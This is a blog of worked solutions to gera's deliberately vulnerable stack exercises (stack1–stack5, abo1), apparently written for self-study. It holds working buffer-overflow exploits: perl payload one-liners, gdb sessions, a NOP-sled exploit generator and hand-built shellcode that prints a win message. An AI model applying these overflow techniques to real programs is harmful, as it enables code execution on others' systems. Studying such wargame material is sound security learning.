Thursday, June 24, 2010

Advanced Buffer Overflow #1

/* abo1.c                                       *
* specially crafted to feed your brain by gera */

/* Dumb example to let you get introduced...    */

int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
}


It took 268 bytes to overwrite the saved ebp on the stack and 272 bytes to overwrite the saved eip.



#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
        "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43\x31\xc0\xb0\x04\xcd\x80\x31\xc0"
        "\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";

unsigned long get_sp(void)
{
        __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
        int i, offset = 0, bsize = 273;
        long addr, *addr_ptr;
        char *buf, *ptr;

        if (argc > 1)
                offset = atoi(argv[1]);

        buf = (char *)malloc(bsize);

        /* guess return address -- a bit educated */
        addr = get_sp() - offset;
        fprintf(stderr, "addr: 0x%x\n", addr);

        /* fill entire buf with return address */
        ptr = buf;
        addr_ptr = (long *)ptr;
        for (i = 0; i < bsize; i += 4)
                *(addr_ptr++) = addr;

        /* fill the first half of buf with NOPs */
        for (i = 0; i < (bsize/2); i++)
                buf[i] = '\x90';

        fprintf(stderr, "shellcode length: %d\n", strlen(shellcode));

        ptr = buf + bsize/2;
        for (i = 0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        buf[bsize-1] = '\0';

        fprintf(stderr, "buf length: %d\n", strlen(buf));

        printf("%s", buf);
}


One problem I haven't figured out yet is when I used a "you win!" shellcode, the space character (0x20) was corrupting the stack while it was being strcpy()ied.

"you win!" works fine in the assembly and character array versions, but when dumped in a buffer of nops, shellcode, and return addresses it doesn't play nice.

Changing it to "you_win!" works fine, as seen above.

Shellcode Notes

These are some notes to myself about jmp/call shellcode and how to turn the asm into a character string for exploits.

$ cat sc-gas.asm

.text
.global _start

_start:

jmp marka
markb:
pop %ecx        # pop address of "you_win" into ecx
xor %edx,%edx   # clear edx
mov $0x8, %dl   # put len of string in low order edx
xor %ebx,%ebx   # clear ebx
inc %ebx        # put fd in ebx, 1 == stdout
xor %eax,%eax   # clear eax
mov $0x4, %al   # put syscall number in low order eax, 4 == sys_write
int $0x80

xor %eax, %eax  # clear eax
mov $0x01, %al  # put syscall number in low order eax, 1 == exit
int $0x80

marka:
call markb      # call pushes the next address on the stack
.string "you_win!"

$ as -o sc-gas.o sc-gas.asm
$ ld -o sc-gas sc-gas.o
$ ./sc-gas
you_win!$


Turning the assembly into a character string:

$ objdump -d sc-gas

sc-gas:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
8048074:       eb 14                   jmp    804808a 

08048076 :
8048076:       59                      pop    %ecx
8048077:       31 d2                   xor    %edx,%edx
8048079:       b2 08                   mov    $0x8,%dl
804807b:       31 db                   xor    %ebx,%ebx
804807d:       43                      inc    %ebx
804807e:       31 c0                   xor    %eax,%eax
8048080:       b0 04                   mov    $0x4,%al
8048082:       cd 80                   int    $0x80
8048084:       31 c0                   xor    %eax,%eax
8048086:       b0 01                   mov    $0x1,%al
8048088:       cd 80                   int    $0x80

0804808a :
804808a:       e8 e7 ff ff ff          call   8048076 
804808f:       79 6f                   jns    8048100 
8048091:       75 5f                   jne    80480f2 
8048093:       77 69                   ja     80480fe 
8048095:       6e                      outsb  %ds:(%esi),(%dx)
8048096:       21 00                   and    %eax,(%eax)


char shellcode[] =
       "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43\x31\xc0\xb0\x04\xcd\x80\x31\xc0"
       "\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";

int main()
{
       int *ret;

       /* point occupies 4 bytes. ret + 8 points to the saved eip */
       ret = (int *)&ret + 2;
       /* overwrite the saved eip to point to the address of shellcode */
       (*ret) = (int)shellcode;

       /* on return from main, the saved eip is popped from the stack
          which now points to shellcode */
}

$ gcc -o sc sc.c
$ ./sc
you_win!$                                                                          

Tuesday, June 8, 2010

WARMING UP on STACK: stack5.c


/* stack5.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x000a0d00)
printf("you lose!\n");
}


You have to provide and print your own "you win!" string in stack5. This is your classic buffer overflow exploit: control the saved return address and point it at your provided code.

Start by creating half a buffers worth of NOPs (0x90):


$ perl -e 'print "\x90" x 54;' > nops


I'm still "faking it till I make it" with ASM, so I pieced together the shellcode from various sources. I couldn't get Aleph1's call/jmp method to work--wasn't able to get the offsets right. Next, I stumbled on Charles Stevenson's writehello-core.c shellcode and modified it to meet my needs (Charles code is really understandable).

Here's the rough outline of the ASM:

xor ecx, ecx            ; clear ecx
mul ecx                 ; not sure what this is for
push ecx                ; push NULL onto stack
push 0x216e6977         ; push win! in reverse on stack
push 0x20756f79         ; push you  in reverse on stack
mov dl, 0x8             ; len of string in low order edx
inc ebx                 ; fd, 1 == stdout
mov ecx,esp             ; stack pointer points to "you win!\0", move to ecx
mov al, 0x4             ; syscall, 4 == sys_write in low order eax
int 0x80

xor eax, eax            ; return 0
mov al, 0x01            ; syscall, 1 == exit
int 0x80


Using objdump, scratch __asm__() programs, and gdb's x/#bx command the ASM is transformed into hex (I'm deferring to Greyhat Hacking, Aleph1 and all the other buffer overflow papers out there for an explanation on how to convert the ASM into hex):


$ perl -e 'print "\x31\xdb\xf7\xe3\x53\x68\x77\x69\x6e\x21\x68\x79\x6f\x75\x20\xb2\x08\x43\x89\xe1\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80";' > sc3


Tracking down a return address took some guessing/debugging with gdb. Started off with a bunch of A's:


$ perl -e 'print "A"x108' > of2


I set a breakpoint after we overflow buf and take a look at it:

$ gdb -q stack5
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b 11
Breakpoint 1 at 0x8048417: file stack5.c, line 11.
(gdb) run < of2
Starting program: /home/dennis/gera/stack5/stack5 < of2
buf: bffff4c0 cookie: bffff51c

Breakpoint 1, main () at stack5.c:11
11              if (cookie == 0x000a0d00)
(gdb) x/10x buf
0xbffff4c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4e0:     0x41414141      0x41414141
(gdb) 


0xbffff4e0 looks like a good place to start:


$ perl -e 'print "\xe0\xf4\xff\xbf" x 7;' > ret


7 comes from the following math problem:

112 bytes overwrites the saved return address.

112 - 54 (number of nops) - 30 (size of shellcode in bytes) = 28

28 / 4 (address take up 4 bytes) = 7

Let's put it all together:


$ cat nops > of
$ cat sc3 >> of
$ cat ret >> of

$ stack5 < of
buf: bffff4b0 cookie: bffff50c
you win!$

WARMING UP on STACK: stack1.c

I've been supplementing my reading of Gray Hat Hacking, Second Edition: The Ethical Hacker's Handbook with gera's Insecure Programming by example.

/* stack1.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x41424344)
printf("you win!\n");
}

$ perl -e 'print "A" x 92;' > of
$ echo "DCBA" >> of

$ stack1 < of
buf: bffff4b0 cookie: bffff50c
you win!

WARMING UP on STACK: stack4.c

/* stack4.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x000a0d00)
printf("you win!\n");
}


The technique used in the other stacks won't work here because gets() uses \n (0x0a) as its end of line character--our input will be truncated before we can completely overwrite cookie. Instead, we'll just jump over the check.

I loaded stack4 into gdb, disassembled main, and pretended to know ASM.

if (cookie == 0x000a0d00) looks like this in ASM:

0x08048417
: cmpl $0xa0d00,0xfffffff4(%ebp)
0x0804841e
: jne 0x8048430

0x08048420
: sub $0xc,%esp

After the test, we have:

0x08048423
: push $0x804855c
0x08048428
: call 0x80482e8

At address 0x08048423 we push the "you win!\n" string onto the stack, then call printf() at address 0x08048428.

Before gets() is called, our stack looks something like:

[.... buf ....][cookie][ebp][ret]

If we feed a string that overflows buf, cookie, ebp, and places 0x08048423 onto the saved return address, on return from main() we will jump to the "you win!\n" printf:


$ perl -e 'print "A" x 108;' > of
$ perl -e 'print "\x23\x84\x04\x08";' >> of

$ stack4 < of
buf: bffff4e0 cookie: bffff53c
you win!
Segmentation fault

WARMING UP on STACK: stack3.c

I think the NULL byte (0x00) was supposed to be the obstacle, but the same technique used for stack1 and stack2 worked here as well. mmishou writes about the why here.

/* stack3.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x01020005)
printf("you win!\n");
}

$ perl -e 'print "A" x 92;' > of
$ perl -e 'print "\x05\x00\x02\x01";' >> of

$ stack3 < of
buf: bffff4e0 cookie: bffff53c
you win!

WARMING UP on STACK: stack2.c

stack2 is similar to stack1, just uses some hex.

/* stack2.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x01020305)
printf("you win!\n");
}

$ perl -e 'print "A" x 92;' > of
$ perl -e 'print "\x05\x03\x02\x01";' >> of

$ stack2 < of
buf: bffff4e0 cookie: bffff53c
you win!